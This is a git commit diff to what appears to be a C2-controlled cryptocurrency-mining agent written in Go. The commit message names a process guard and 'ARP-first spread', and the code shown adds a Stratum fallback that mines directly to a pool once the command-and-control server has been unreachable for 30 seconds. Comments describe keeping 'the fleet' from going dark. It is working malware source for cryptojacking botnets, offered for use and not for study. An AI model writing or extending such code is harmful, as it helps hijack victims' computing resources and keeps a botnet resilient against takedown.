fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

This commit is contained in:
drjones
2026-05-30 15:23:07 -07:00
parent 117801f882
commit 36fdc0194d
8 changed files with 671 additions and 44 deletions

View File

@@ -15,6 +15,7 @@ import (
"runtime"
"strings"
"sync"
"sync/atomic"
"time"
"crypto-miner-agent/config"
@@ -39,6 +40,10 @@ type AgentClient struct {
agentID string
sharesSubmitted int
sharesAccepted int
// connected is true while a C2 WebSocket session is active.
// The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -77,6 +82,18 @@ func (c *AgentClient) Run() error {
}
}
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
fallbackDone := make(chan struct{})
fallbackManagerDone := make(chan struct{})
go func() {
defer close(fallbackManagerDone)
c.stratumFallbackManager(fallbackDone)
}()
defer func() {
close(fallbackDone)
<-fallbackManagerDone
}()
// Build deduped server list: primary first, then backups.
// On each failure we advance to the next URL so the fleet never
// goes dark when the primary host reboots.
@@ -90,6 +107,8 @@ func (c *AgentClient) Run() error {
for {
target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now()
// Restore C2 share handler before connecting (in case Stratum had it).
c.pool.SetShareHandler(c.submitShare)
if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err)
}
@@ -155,6 +174,8 @@ func (c *AgentClient) connectLoop(serverURL string) error {
if err := c.authenticate(); err != nil {
return err
}
c.connected.Store(true)
defer c.connected.Store(false)
statsStop := make(chan struct{})
go c.statsLoop(statsStop)
@@ -617,6 +638,64 @@ func (c *AgentClient) write(msg Message) error {
return c.conn.WriteJSON(msg)
}
// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
// connection after 30 seconds of being disconnected from the C2 server.
// When C2 reconnects the Stratum session is stopped and the share handler is
// restored to the C2 WebSocket path.
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
if c.cfg.PoolHost == "" {
return // no pool configured
}
type fallback struct {
stop chan struct{}
wait chan struct{}
}
var fb *fallback
var disconnectedSince time.Time
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
stopFallback := func() {
if fb != nil {
close(fb.stop)
<-fb.wait
fb = nil
c.pool.SetShareHandler(c.submitShare)
log.Printf("[stratum] fallback stopped — C2 connection restored")
}
}
for {
select {
case <-done:
stopFallback()
return
case <-ticker.C:
if c.connected.Load() {
disconnectedSince = time.Time{}
stopFallback()
} else {
if disconnectedSince.IsZero() {
disconnectedSince = time.Now()
}
if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
stop := make(chan struct{})
wait := make(chan struct{})
sc := miner.NewStratumClient(c.pool, c.cfg)
go func() {
defer close(wait)
sc.RunFallback(stop)
}()
fb = &fallback{stop: stop, wait: wait}
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
}
}
}
}
}
func buildWSURL(serverURL string) (string, error) {
u, err := url.Parse(strings.TrimSpace(serverURL))
if err != nil {